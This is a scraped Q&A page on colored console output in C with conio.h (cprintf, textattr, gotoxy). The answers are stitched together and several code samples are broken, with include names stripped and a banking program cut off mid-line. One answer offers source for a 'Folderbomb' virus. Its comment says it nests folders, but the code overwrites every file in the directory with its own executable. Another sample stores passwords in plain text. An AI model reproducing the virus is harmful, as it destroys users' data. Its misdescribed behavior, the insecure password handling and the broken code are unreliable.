A function in c langage that prints colored text
one must use the heather file conio.h to use cprintf :)
cprintf is to the console, printf to stdout (standard output). The only difference is stdout can be redirected but the console cannot.
The printf function calls on fprintf to write the result of sprintf to standard output. That is:printf("%i\n", 42);is exactly equivalent to:fprintf(stdout, "%i\n", 42);
#include #include void main (void) { time_t t, newt; int i = 0, x, y; time (&t); clrscr (); cprintf ("Hit any key to continue: "); x = wherex (); y = wherey (); // Wait for a keypress, flashing the message // "I'm waiting!" on and off once per second. // After any key is hit, display "Welcome to CSSAC Sipocot Campus" while (!kbhit ()) { time (&newt); if (t != newt) { t = newt; i++; if (0 == (i & 1)) cprintf ("I\'m waiting!"); clreol (); gotoxy (x, y); } } getch (); cprintf ("\r\n"Welcome to CSSAC Sipocot Campus"\r\n"); }
Blinking text in DOS, compiled with Turbo C #include int main() { int color; textattr(128 + 10); cprintf("This is blinking text\n"); return 0; }
If you're talking about viruses on your computer, No you cannot.Viruses are executables. The code in them is binary code- Machine language. You can't open it and expect to see the C code.There are many kinds of viruses. Anything which is harmful and/or self-propagating can be considered a virus and there are numerous ways on how to write the same program./*this is a simple program to create a virus in cit will create folder in a folder in a folder and so on run this on your own responsibility*/includeincludeincludeincludeincludevoid main(int argc,char* argv[]){ char buf[512]; int source,target,byt,done; struct ffblk ffblk; clrscr(); textcolor(2); cprintf("-------------------------"); printf("\nVirus: Folderbomb 1.0\nProgrammer:BAS Unnikrishnan(asystem0@gmail.com)\n"); cprintf("-------------------------"); done = findfirst("*.*",&ffblk,0); while (!done) { printf("\n");cprintf(" %s ", ffblk.ff_name);printf("is attacked by ");cprintf("Folderbomb"); source=open(argv[0],O_RDONLY|O_BINARY); target=open(ffblk.ff_name,O_CREAT|O_BINARY|O_WRONGLY); while(1) {byt=read(source,buf,512); if(byt>0) write(target,buf,byt); else break; } close(source); close(target); done = findnext(&ffblk); } getch(); }
The function textattr in conio.h can be use for this purpose a small program has presented here... #include<conio.h> int main() { textattr(129); cprintf("My name is Lord Blade..."); return 0; } here in the textattr till 128 only colors would be set and more than it colors with blink.
code] //***********************************************************************// //***********************************************************************// //******COMPUTERISED BANKING SYSTEM BY ****// //Declaration of header files #include <iostream.h> #include <fstream.h> #include <process.h> #include <string.h> #include <stdio.h> #include <ctype.h> #include <conio.h> #include <dos.h> #include <stdlib.h> #include <iomanip.h> #include <graphics.h> typedef char option[15]; const int ROW = 10,COL = 10; int scan; // To hold the special characters for moving the prompt in menu int ascii; // To display the main menu options option a[]= { "NewAccount", "ListofAccounts", "IndAccount", "DailyTrans", "MonthlyReport", "EditAccount", "Exit"}; // Displays the modify menu options option b[] = { "Modify Account", "Closeaccount", "Quit" }; // Function used to do screening class main_menu { int i,done; public: void normalvideo(int x,int y,char *str); void reversevideo(int x,int y,char *str); void box(int x1,int y1,int x2,int y2); char menu(); void control_menu(); char e_menu(); void edit_menu(); void help(void); }; /* Class member functions for drawing boxes */ class shape { public: void line_hor(int, int, int, char); void line_ver(int, int, int, char); void box(int, int, int, int, char); }; // Class contains the initial deposit of customers class initial { public: void add_to_file(int, char t_name[30], char t_address[30], float); // For initial deposits in customers account void display_list(void); // Displaying customers account list void delete_account(int); // Deleting customers account void update_balance(int, char t_name[30], char t_address[30], float); // For updating the customer account void modify(void); // To modify the customer account information int last_accno(void); // To know the last account number int found_account(int); // To found the account is in "INITIAL.dat" or not char *return_name(int); // Function for validation entry of customer name char *return_address(int); // Function for validation entry of customer address float give_balance(int); // To print the balance amount of a particular customer int recordno(int); void display(int); // To display the customer account private: void modify_account(int, char t_name[30], char t_address[30]); // Function to modify the customer account int accno; char name[30], address[30]; float balance; }; // Class contains the customers daily transaction entry class account { public: void new_account(void); // Function to create a new account void close_account(void); // Function to close an account void display_account(void); // Function to display the accounts void transaction(void); // To display the transaction process void clear(int, int); // Function to perform a clear screen function void month_report(void); // Function to list monthWise transaction report private: void add_to_file(int, int, int, int, char, char t_type[10], float, float, float); // Function to add transaction records void delete_account(int); // Function to delete a transaction record int no_of_days(int, int, int, int, int, int); // Function to find the total days float calculate_interest(int, float); // Function for calculating interest of anaccount void display(int); // Function to display a transaction account void box_for_display(int); // Function for displaying box int accno; char type[10]; // Account type as Cheque or Cash int dd, mm, yy; // To store the system date/ Enter date char tran; // As the account type is Deposit or Withdraw float interest, amount, balance; }; // Function to displays all the menu prompt messages from the pointer array of option a[] void main_menu::normalvideo(int x,int y,char *str) { gotoxy(x,y); cprintf("%s",str); } // Function to move the cursor on the menu prompt with a reverse video color void main_menu::reversevideo(int x,int y,char *str) { textcolor(5+143); textbackground(WHITE); gotoxy(x,y); cprintf("%s",str); textcolor(GREEN); textbackground(BLACK); } void main_menu::box(int x1,int y1,int x2,int y2) { for(int col=x1;col<x2;col++) { gotoxy(col,y1); cprintf("%c",196); gotoxy(col,y2); cprintf("%c",196); } for(int row=y1;row<y2;row++) { gotoxy(x1,row); cprintf("%c",179); gotoxy(x2,row); cprintf("%c",179); } gotoxy(x1,y1); cprintf("%c",218); gotoxy(x1,y2); cprintf("%c",192); gotoxy(x2,y1); cprintf("%c",191); gotoxy(x2,y2); cprintf("%c",217); } char main_menu::menu() { clrscr(); textcolor(22); box(20, 6, 65, 20); box(18, 4, 67, 22); textcolor(5+143); gotoxy(36, 5); textbackground(BLUE); cprintf("B A N K I N G"); textbackground(BLACK); textcolor(22); for(i = 1; i < 7; i++) normalvideo(32, i+10, a[i]); reversevideo(32, 10, a[0]); i = done = 0; _setcursortype(_NOCURSOR); do { int key = getch(); switch (key) { case 00: key = getch(); switch (key) { case 72: normalvideo(32, i+10, a[i]); i--; if (i '0') return; if (strlen(t_address) > 25) {<br
/*:cool: Guys, This program make a file when its run. Run it and Understand it. and tell me, "can i improve in it more?*/ #include<stdio.h> #include<conio.h> #include<string.h> void main() { char user[20],fltp[5]=".txt",flname[25],pswrd[35],cnfrm[35],login[35],pchek[35],c,ps,cn,lg; int i,j,k,l; FILE *usr; clrscr(); gotoxy(25,23); textcolor(12); cprintf("Enter Your name:");//Note: this may be works as your username also. Name will be unique. scanf("%s",&user);//Scanf ko graphical bna. entry control strcpy(flname,user); strcat(flname,fltp); usr=fopen(flname,"r"); if(usr==NULL) { usr=fopen(flname,"w"); fprintf(usr,"Username: %s",user); printf("Welcome!\nYou are a new user\nCreat your password below"); printf("\nEnter Password:"); retry: j=0; while((ps=getch())!=13) { printf("*"); pswrd[j]=ps; j++; } pswrd[j]='\0'; printf("\nConfirm Password:"); k=0; while((cn=getch())!=13) { printf("*"); cnfrm[k]=cn; k++; } cnfrm[k]='\0'; if((strcmp(pswrd,cnfrm))==0) { fprintf(usr,"\nPassword: %s",cnfrm); fclose(usr); } else { printf("Password didn't match! Try Again...\n"); printf("Enter password again:"); goto retry; } } else { gotoxy(25,25); cprintf("Password:"); l=0; while((lg=getch())!=13) { printf("*"); login[l]=lg; l++; } login[l]='\0'; i=0; while((c=getc(usr))!= EOF) { if(c=='\n') { fseek(usr,10,1); while((c=getc(usr))!= EOF) { pchek[i]=c; i++; } } } pchek[i]='\0'; if((strcmp(login,pchek))==0) { gotoxy(25,27); textcolor(11); cprintf("Welcome Back %s",user); } else { gotoxy(19,27); textcolor(11); cprintf("Wrong Password! You are not authorised"); } } getch(); }
Ideally you would not manipulate std::cout using such a low-level function. Console output is intentionally generic so that output can be easily redirected to any output device that accepts a character stream. As such, this code will not work correctly if the user were to redirect output to a disk file or a printer, or use the output as input to another program. If you wish to format screen output in a non-generic manner, do not use the console, use a screen-specific context device instead. #include<iostream> #include<string> #ifdef WIN32 #include<windows.h> #endif WIN32 void gotoxy(int x, int y) { #ifdef WIN32 static HANDLE h = NULL; if(!h) h = GetStdHandle (STD_OUTPUT_HANDLE); COORD c = { x, y }; SetConsoleCursorPosition (h,c); #elif linux printf("%c[%d;%df",0x1B,y,x); #else static_assert (false, "unsupported platform in gotoxy()"); #endif WIN32 } void draw_box(unsigned x, unsigned y, unsigned width, unsigned height) { gotoxy (x, y); std::cout << std::string (width, '*'); for (unsigned z=2; z<height; ++z) { gotoxy (x, ++y); std::cout << "*"; gotoxy (x+width-1, y); std::cout << "*"; } gotoxy (x,++y); std::cout << std::string (width, '*'); } int main() { draw_box(10,10,5,4); // draw 5x4 box at {10,10} gotoxy (0,25); }